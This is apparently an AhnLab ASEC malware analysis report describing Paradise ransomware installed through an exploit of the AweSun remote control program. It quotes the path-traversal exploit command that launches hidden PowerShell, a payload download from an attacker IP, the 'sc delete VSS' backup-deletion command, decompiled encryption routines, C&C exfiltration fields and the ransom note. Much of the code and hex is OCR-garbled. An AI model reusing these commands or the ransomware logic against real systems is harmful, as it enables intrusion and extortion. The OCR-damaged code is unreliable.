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The ASEC analysis team has recently discovered the distribution of Paradise ransomware.
The threat actors are suspected to be utilizing a vulnerability exploitation of the Chinese
remote control program AweSun. In the past, the team also found and covered the
distribution of Sliver C2 and BYOVD through a Sunlogin vulnerability, a remote control
program developed in China.

| Sliver Malware With BYOVD Distributed Through Sunlogin Vulnerability Exploitations

1. AweSun Vulnerability Exploitation

The installation of Sliver C2 through the AweSun remote control program developed by
AweRay was also discovered to have been carried out by threat actors while the team was
monitoring Sliver C2 attack cases. [1]
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Figure 1. Remote control program AweSun

Target Type File Name File Size File Path @
Current B powershell.exe 423 KB % SystemRoot\syswows4\windowspowershell\v1.0\powershell.exe
Parent B cmd.exe 231 KB % SystemRoot%\syswowE4\cmd.exe
ParentOfParentOfCurrent B cmd.exe 231 KB %SystemRoot%\syswow64\cmd.exe
ParentOfParentOfParent B awesun.exe T.14 MB %ProgramFiles% (x86)\aweray\awesun'awesun.exe
Process Module Target Behavior Data

B powershell.exe Connects to network http://43.128.62.42 /acl.exe

Figure 2. Sliver C2 installed by PowerShell that was generated by AweSun

Detailed information about the AweSun vulnerability exploitation has yet to be confirmed.
However, considering that this is the same threat actor that exploited the Sunlogin
vulnerability and the fact that Sliver C2 was installed by a PowerShell that was generated by
a child process of AweSun, we can speculate that this attack was also a vulnerability
exploitation. Compared to the latest version of AweSun.exe which now exceeds v2.0, the
AweSun used for the attacks were v1.5 and v1.6, versions that were released several years
ago.

Additionally, we can confirm through the command used in the attack that the attack
command includes a ping that’s similar to the PoC used in the Sunlogin vulnerability.
Although it is currently impossible to download anything from this address, we can infer from
the URL format that it is a command that installs Cobalt Strike.
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“currentProcess”: {
imageInfo”: {
fileObj": {
“fileName": “awesun.exe",
"filePath": “%ProgramFiles® (x86)%\\aweray\\awesun\\awesun.exe",
"fileSize": 7485144
'
}
b
“targetProcess™: {
imageInfo™: {
commandLine": “ping../../../windows\\system32\\cmd.exe fc powershell.exe -nop -w hidden -c
fileobj™: {
"fileName” :
"filePath”:
"filesize": 23
i
}
}

Figure 3. Command used to exploit AweSun vulnerability

It appears that the threat attacker is using the AweSun vulnerability exploitation at the same
time as the Sunlogin vulnerability exploitation. The Sliver and BYOVD malware mentioned
above have been found in both vulnerability exploitation cases along with a XMRig

CoinMiner.

This post will focus on the Paradise attack case since it was the most recent case of this
vulnerability exploitation. The following is AhnLab’s ASD (AhnLab Smart Defense) log, which
shows that the Paradise ransomware, “DP_Main.exe,” was installed by the cmd and
PowerShell generated by AweSun.

Target Type File Name File Size File Path @

Target B dp_main.ex 25KB %oSystemDrive®s\users\%ASD%\dp_main.exe

Current B powershell.exe 423 KB %%SystemRoot\syswows4\windowspowershell\v1.0\powershell.exe

Parent B cmd.exe 231KB % SystemRoot?t\syswowsd\cmd.exe

Process Module Target Behavior Data

B powershell.exe Creates executable filz B dp_main.exe

. Wers lLexe Connects to network «f [LUP l.para nIMEg P,

Figure 4. Paradise ransomware installation log
Paradise ransomware download URL:
hxxps://upload.paradisenewgenshinimpact[.]top/DP_Main.exe

2. Analysis of Paradise Ransomware

Paradise, which is installed through an AweSun vulnerability exploitation, was first
discovered in 2017 as a RaaS (Ransomware as a Service) type ransomware developed in

NET. [2]
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Program, Mat iveMethods, ShowWindow( Program, Nat ivedethods, GetConsol el indow b,
string folderPath = Environment . GetFolderPathiEnyironment . SpecialFolder.dpplicationData )

if (File Exists{folderPath + "#DP#twel done. dp” )
i
Frocess.Start( "A#0ECRYPT MY FILESH.html" )
Environment . Exit{0);
i
else
i
if {args.Length == 0 && Program,CycleDefenderd 3}
1
int num = Program.ProcessCount( )
if (!Program.|s&dming))
i
i Frogram.Runadsidming )
'
if (Program,ProcessCount() = numd
i
" Environment.Exit{0);
i
i
if (File.Exists{"id.dp"))
1
' File.ReadAl | Text("id.dp"

Program.PCID
i
Else
1
Program.PCI0D = Program. |D_Generator( )
File Write&l|Text("id.dp", Program.PCIO);
'
Frogram.text = Program.text . Replace("Z10%", Program,.PCID}:
Stopwatch stopwatch = new Stopwatchi )
stopwatch. Start{ 1
if (!Program.CheckKeys( )}
1
' Program.Createkeys( )

Frogram,MasterRSA. FromEmlStrinalFrogram. REA_HasterPublich

Program, rsa. FromémlStringlFrogram. REA_Public )
Frogram.SavePrivatetey] );
while (Program.LockerForYalidkey)

Flgure 5. The main function of Paradise ransomware

o

Overview Description

Encryption method RSA-1024 / RSA-1024

Paths excluded from “‘windows”, “firefox”, “chrome”, “google”,

encryption “%APPDATA%\DP\” (mstallatlon paths)

Extension [id-EaObwi8A].[main@paradisenewgenshinimpact.top].honkai
Ransom note DECRYPT MY FILES#.html

Others Registers RUN key. Deletes volume shadow service

Table 1. Ransomware overview
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Paradise utilizes various configuration files. After the completion of the encryption process,
the “%APPDATA%DP\welldone.dp” file is generated. If the file already exists, the encryption
stage is skipped and the ransom note is shown. Paradise will restart with admin privilege if it
is executed without the authority as the ransomware uses it to encrypt the system; at this
stage the “%APPDATA%DP\RunAsAdmin.dp” file is used. PCID is the value that represents
the infected system and is saved in the “id.dp” file that is generated on the current path. The
value is also used later for the ransom note and sending the infection information to the C&C
server.

Settings File Description
%APPDATA%DP\welldone.dp Encryption behavior completion

status
%APPDATA%DP\RunAsAdmin.dp Admin privilege execution status
Current Path\id.dp PCID

%USERPROFILE%\documents\Decryptioninfo.auth RSA private key (encrypted through
%PROGRAMFILES%\DP\DecryptionInfo.auth a master RSA public key),
RSA public key

Table 2. Settings file

Paradise generates a 1024-bit RSA key and uses it to encrypt files. The ransomware
encrypts the RSA private key necessary for file decryption by using the threat actor’s master
RSA public key that’s saved in the settings data.

A4 Token: 0x04000009 RID: 9

private static string R3A_MasterPublic = "<RSAKevValue=<Hodulus=vKJaEXz+c/
mTo0xko?d2NZpwodRul i 1B 1 7850w | zH9BOWNGAR=ROEN5 | st 25044 | CLKXZY 7 | s48FEMSUD | J2CyasyTLANYWG | IVENZ gl s ryYupFEGNS
OMP34vwbBoz JUBEZ TexvBWUJIROKE | cHER | Z4sp6 1 4201 B I WaMHU=</Hodu lus><Exponent =AQARB</Exponent =< /REAKewYa lua=":

A4 Token: 0x04000004 RID: 10
private static string CryptedExtension = ".honkai”

/¢ Token: 0=0400000B RID: 11
private static bool LockerForValidkey = true

A4 Token: 0=0400000C RIOD: 12
private static string PCID = "";

44 Token: 0x04000000 RID: 13
Frivate static string RSA_Public = "";

A Token: 0x0400000E RID: 14
private static string REA_Private = "7

/¢ Token: 0=0D400000F RID: 15
private static int FilesCount = 0.

Figure 6. Settings file where the master RSA public key is saved
Among the settings files, “Decryptioninfo.auth” has a RSA private key that has been
encrypted by the generated RSA public key and the threat actor’'s master RSA public key.
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1 CKQTE1iIHOWmQgxJudiBFUOTU+9Zzu04N]138YmmIoDX1sarlWEQA7tRbETQZTL/ QhBGDLPAQ2AFIiQT kaSG7wgiFM
+0igfDOBWWWZgW3BENASIWXBARJBRXEqMRE75JalooUePzftQuexfIxI6eakK 1IEAShSEfVhWB1OMLIgNyHjZUmGeznoLr2rDme pFku9K1TSO/
8HiP6gapoEZ lFxHranEUo84zGPbhAUdY 1/ WtH60ReY 1L PUwxIbahZPUcISPAVIObbYeSWIAWYOUXXMIZ
+c5CKID11zfSacoRtfnCo2MdxsghkrKSCzkxd 7Rk XM1gYUYyxe JOHTNGKEBX3 cXsPQECLprao7kLzOkwQfMMekSWF gRKPKkETH288 jgoGHL
9C7BVUCSCQNRIGSENIAQrkFE7DgCivBHSMOLNp3BVY VKBS IpFy+6wC1Y7Ah7IRvebBGIGbHEX 1 cqWPgGypl7 r/BHG3LTmPy6EAf2z2ve
+5WNGKUCcmBMQExyqz1IJ1U9E jWT1s Twrhdd@doRDrUs8wkFCladadS3wyrUe2/ 59eulBodsD2mkH2vBEQUCIUVNY LIC1XRSC2ZNVIVRXhUsSS
+vowqULFiyxilnrNer7 vNCHMk1CsMBom2pZKFODFLFMIXsudhNiz27 jO65MZIwali7I6K007MK
+wzhpRbWZ 28TQK vt ZKBSKTOhKCqseaOLVES1L1YXcaqYkayZgDhSy158RujHNWeu0xvUSHWC 2SWD4RaoZIuSNublimC cP
+KdS3PM2CnQAKCT7iTIDYi827]idQhZfbulcH/ F3HDsVOmbYhk+869wQ2x98ey /
PgTuohdlLelZOWrqlox9dZ5KeyePOBItXE8qlbegTfzCcal+PocF+jALEIRB3keGKm/ FALCY nUOPB+TRyVQTbrjnXgnaVVnulyt/
WeaYRWhSHIQuW1oEPUNWyAPfneuHz Tulk+FhZKYe7FDFEQuvUmMUMIY 2coCc1+8BdS4e1+4771MrFO/
9¥1gLhoF5riqzRQiDNiGEYpcAlkSUxen7MBO8Q35Y0zc I7FUymx/
ybC5L310qdfcQnkCyorvc THCBOdToQPXSLg824GfF3yIolIhwEZImdgS5BzRoX3ATubZkboVay1Db7bbbsKeyh2NQmfags4xXIB54dCcpvod
9P5i70C/ aYpK+P+Fub5pYon8MGexPx
+2h9We sBhlWe20VDe 554 ePHXF2Z9kV3Fc IWwe T gdBKXyy ARgApr IO LQRZWTIQzkhO1RZarunT jHXhIySEKaM2gmOfcxhlTv/rk
+PZQk6013wytC353rU29e8fPEpRUYBKEQoATE4 U s8Xca/ B40QUZ 7wS3B6d TN xB+ I TTDwn7HP 2y LGmUw==

2 <RSAKeyValue><Modulus>tKcTEc1OwbgIhO6E40L7B5palZdfCckyh99@jgehmSdgkeVPWEWTHGJ8vzBfuCmwHApS8B25Ge
+Hn6t8hP1a06Z/ FgGBkwF t6LQ0rd9FNQABHGr8Rr1bS0aDy 0630/ Zul tPGFCE6LI1FM7yc LNYyMZ 3do8DjLquBUgEPUNN3d+y4E=</
Modulus><Exponent>AQAB</Exponent></RSAKayValues

Figure 7. DecryptionInfo.auth file

The paths excluded from encryption are based on folder paths, so “windows”, “firefox”,
“‘chrome”, “google”, “opera” and “%APPDATA%\DP\.”. This means that all paths are targeted
excluding the settings paths. A distinct characteristic of Paradise is the fact that it sets the
“‘mysql,” “firebird,” “mssql,” “microsoft sql,” and “backup” paths as high priority encryption
targets.

& TaskSchedulerview cfglid-fe8EkkZT] [main@ paradisenewgenshinimpact top].honkai

Offsec(h) 00 01 02 03 04 05 O0& O7 O8 0% 0A OB OC OD OE OF

00000000 5B 47 &5 6E &5 T2 &1 &C 5D 0D O& 4D &1 72 6B 4F [General]..MarkO
00000010 64 &4 45 T6 &5 &6E 52 6F 7T T3 3D 30 0D 0& 53 68 ddEvenRows=0..5h
00000020 &F 77 47 T2 69 64 4C 69 €E 65 73 3D 30 0D 0A 53 owGridLinmes=0..5
00000030 81 Te 65 46 69 &C 74 65 T2 49 6E 64 &5 T8 3D 30 aveFilterIndex=0
00000040 OD O& 53 68 &F 77 49 6E &6 6F 54 &9 70 3D 31 oD ..ShowInfoTip=1.
Q0000050 O0A 53 &8 &F 77 54 3C 43 52 EO B E4 45 44 3F 57 | ShowIgds:kizgyy

00000060 4C & 50 T2 35 &4 Te 55 43 oF 35 58 31 52 70 48 LjPriSjvUCoSX1RpH
00000070 &7 T3 43 4C 50 &4 35 TA &5 46 55 54 52 4D 61 T4 gsCLPdS5zeFUTEMat
00000080 7 484 65 64 47 &8 4D 45 58 TT 4B 75 44 44 42 6E TJejGhMEXwEuJDEn

Q0000080 77T 45 32 52 44 55 59 58 6D 34 69 62 73 4C 39 7T wEZRDUYXm4ibsLOw
0000000 44 2B 36 69 4D 46 74 55 50 66 TS 58 4D 43 54 2B J+6iMFCtUPLvEMCZ+
000000BO &6 75 50 5% 79 70 &4 42 45 4F TA 31 74 45 37 52 fuPYvypdBEOzI1tETR
QO0QODCO &F 71 71 &3 77 &D 31 75 46 &8 71 56 2F 31 33 4B oggecwmluFhgV/ 13K
00000000 B 52 73 48 78 Te 51 55 T8 6D &5 &1 51 66 51 &2 BRsHvQUrzmeaQfOb
Q00000EQ &3 34 52 78 38 32 &3 T8 &5 Toe 4C 2B &7 59 51 58 cdBEx82cxevLnig¥QX
Q00000FD &84 52 &7 T2 44 43 52 T2 41 39 32 31 eD 44 55 71 dRgrJCRraS2imdUqg
00000100 6E 44 &1 35 75 4C 73 53 2B 36 42 &6F &1 &8 44 57 mnDhaSulsS5+6BoahJdW

Figure 8. Encrypted files
Furthermore, this ransomware can create a copy of itself in % APPDATA%DP\DP_Main.exe

and register it to the run key or delete the volume shadow service using the following
command.

“cmd.exe” /C sc delete VSS
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After the encryption process is finished, Paradise transfers basic information like the PCID
and computer name along with information such as the number of encrypted files and the
time it took to finish encryption to the C&C server.

Item Description
Y vector (hard-coded)
fc Number of encrypted files

computer_name Computer name

et Time taken for encryption

decryption_info  RSA private key (encrypted through a master RSA public key)

id PCID

Table 3. Data delivered to C&C server
#  Result Protocol Host URL P | Getstarted | (B) statistics | ik Inspectors | £ autoResponder

upload paradisenewgenshinimpact. top: 2095 fapifEnaypted.php  172.67.137.53  [RaEEE=E | Textview | SyntaxView HWebForms | HexView

| Mame

Mame | value

yKJaEXz+
P -
computer_name ol B
et v
decryption_info MntrgSalhAngZEYiwil 2F2NLYTge HgOwn IrE2QR
id emLY&irF

Figure 9. Data delivered to C&C server

Ultimately, it executes a ransom note to notify the user that they have been infected by a
ransomware. The note includes an email address and Bitcoin wallet address as means of
contact.

¢ Bitcoin wallet address: 392vKrpVxMF7Ld55TXyXpJ1FUE8dgKhFiv
o Threat actor’s email address: main@paradisenewgenshinimpact.top
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Your files are encrypted!

Paradise Ransomware Team!

Your personal ID

enL¥GirF

Your personal KEY

Mnt rg3alhanaZEY iwi 12f ZHLYTge+kjOvn! rEZ20RmALasedll+FOdxciblnd 2 | p+aSgHoGMIMMLESUUCPozot /HxgYOBWA0Z i JaNLECKDmYE 7001 duLOhsvac | DdngdPKF i jPRk/8%9ES30dZbaM o] 18
zpHlriwCEahZ dubbn ol Mz 151426 WohlzowagH5haa j ¥HE05OL muwswgwniz 1X0WHM Lmgore 30t XEHY 1LYZF Bo+ | dKPoBos 4 rYCEBCARNT SLeONVIR0:E+RMInrL Ty reCAUENRTHURIEK | C2ghiia
YuuZbZOneonp 32 T43E887 00039 1 EdaHkt Talk1 dlagH I mHYLSw+WsTYNRHT 1 2+ 3nmESf cLCgav] 1 /GdPEKEY | I rebibg ORI+ YINIRYT 105 r 30477 TraElluaBLd2F 2hEERDL &Y IV Q0Bsdq| Klp
AmCvvkbwi ZHaymb+oFHf BECBYUkDT | de97eiUNa+bYENqueLFdX? rpdil/YN3EK dede i JOZgak w0 TwaHIUP eHO2 | uydn ] | 2amzwORE2EWYECT k1/+kgi KGonpmG | KaxbWb+LaYday! iv]de jFORsW
| aBwmLdHFka+TYkpHORJ kEaRwy rPnl/OUCO3LRd | HROBYaCe /i | COJAUH] | MHMyU+psSEFT jal2ehb/MMzzsiavi | TnwBKETOZEXRG 3PveBi | 770m:3yv2uchix rRdpa) ptMf dBddvwFpJKBYEH  cL2c
mdll/Ibosh7f +zLa/ vHaxLJVCTi gt/ glr Onef YOOORSX010969sbk0d3+nj Ex Y] 1sPPB6aiacadf rd rudy059INesyDENGYeINF | BX2vPUR+eCTDas+SUGebFnyF t ZnokpTabbexdkMbTe3EKe 1 DJ50Bx
kdBenHzt 3yUBR9GCEE0CP rA0+44CZ06Ldnc ZbdT ZwlebMu | 42bsBpGu+ky/ TLheGSr O AkcU+J KF 500 DhMwak yEw3U39ZGADT AC | n7UR 1 aTs7EQKAphyt Pohlihvu7a3b 1 Bwt WbIBYAYuvs j ¥RaB
z | GUbE2brspzdGOUeEl | ECVky |oraz8@a2usmy | F iuTHal af | 330Td) 9FUSSf aHROGGy ) bzwa04a9 Ky UddaF 41 tBOLuy Tad TETHAqTRSUKR+ 25 ke 3zt PREFhCdzselkaSFwdEcTLE v/t HceM |
senn | kY] susmabnzkueMB01 YL spzonsey 1 17K B MBRTEARCY aF Zdw i Lkd3ValldsBar riyhYE MnCOUOEEMY Ny 10 PsTE+ShMye ] £ D Of hd TCw 3 wHE zpbyU++ | T3k ANzR0paBOCH TMZeUrtuyDlg==

4

WHAT HAPPENED!
» Your important files produced on this computer have been encrypted due a security problem.
» If you want to restore them, write to us by email.
» You have to pay for decryption in Bitcoins. The price depends on how fast you write to us.
* After payment we will send you the decryption tool that will decrypt all your files.

FREE DECRYPTION AS GUARANTEE!

* Before payment you can send us 1-3 files for free decryption.
* Please note that files must NOT contain valuable information.
» The file size should not exceed 1MB.
» As evidence, we can decrypt one file

Figure 10. Ransom note — 1
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HOW TO OBTAIN BITCOINS!
= Our Bitcoin Address: 392vKrpVxMF7Ld55TXyXpJ1FUESdgKhFiv
» The easiest way fo buy bitcoin is LocalBitcoins site.
= You have to register, click Buy bitcoins and select the seller by payment method and price
s htips://localbitcoins.com/buy _bitcoins/
s Also you can find other places to buy Bitcoins and beginners guide here:
» http:/'www.coindesk.com/information/how-can-i-buy-bitcoins/
» write to Google how to buy Bitcoin in your country?

Contact!
s e-mail: main@paradisenewgenshir
® 0r
. e—mail:main@paradisenev.'genshir

Attention!
s Do not rename encrypted files
= Do not try to decrypt your data using third party software, it may cause permanent data loss
» ‘You are guaranteed to get the decryptor after payment
» As evidence, we can decrypt one file
* Do not attempt to use the antivirus or uninstall the program
s This will lead to your data loss and unrecoverable
» Decoders of other users is not suitable to decrypt your files - encryption key is unique

Figure 11. Ransom note — 2

3. Conclusion

We have found recent cases where various ransomware, including Paradise, were installed
on vulnerable software that did not have recent patches applied. Therefore, users must
update their installed software to the latest version to preemptively prevent vulnerability
exploitations. Also, V3 should be updated to the latest version so that malware infection can
be prevented.

File Detection
— Trojan/Win.Agent.C4590824 (2021.08.15.00)

Behavior Detection

— Execution/MDP.Powershell.M1185
— Execution/MDP.Powershell. M2514
— Persistence/MDP.AutoRun.M224
— Ransom/MDP.Decoy.M1171
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I0C
MD5
— 5cbbc1adfd22f852a37a791a2415¢c92¢

Download URL
— hxxps://upload.paradisenewgenshinimpact[.Jtop/DP_Main.exe

c&C
— hxxp://upload.paradisenewgenshinimpact[.]top:2095/api/Encrypted.php

Subscribe to AhnLab’s next-generation threat intelligence platform ‘AhnLab TIP’ to
check related IOC and detailed analysis information.
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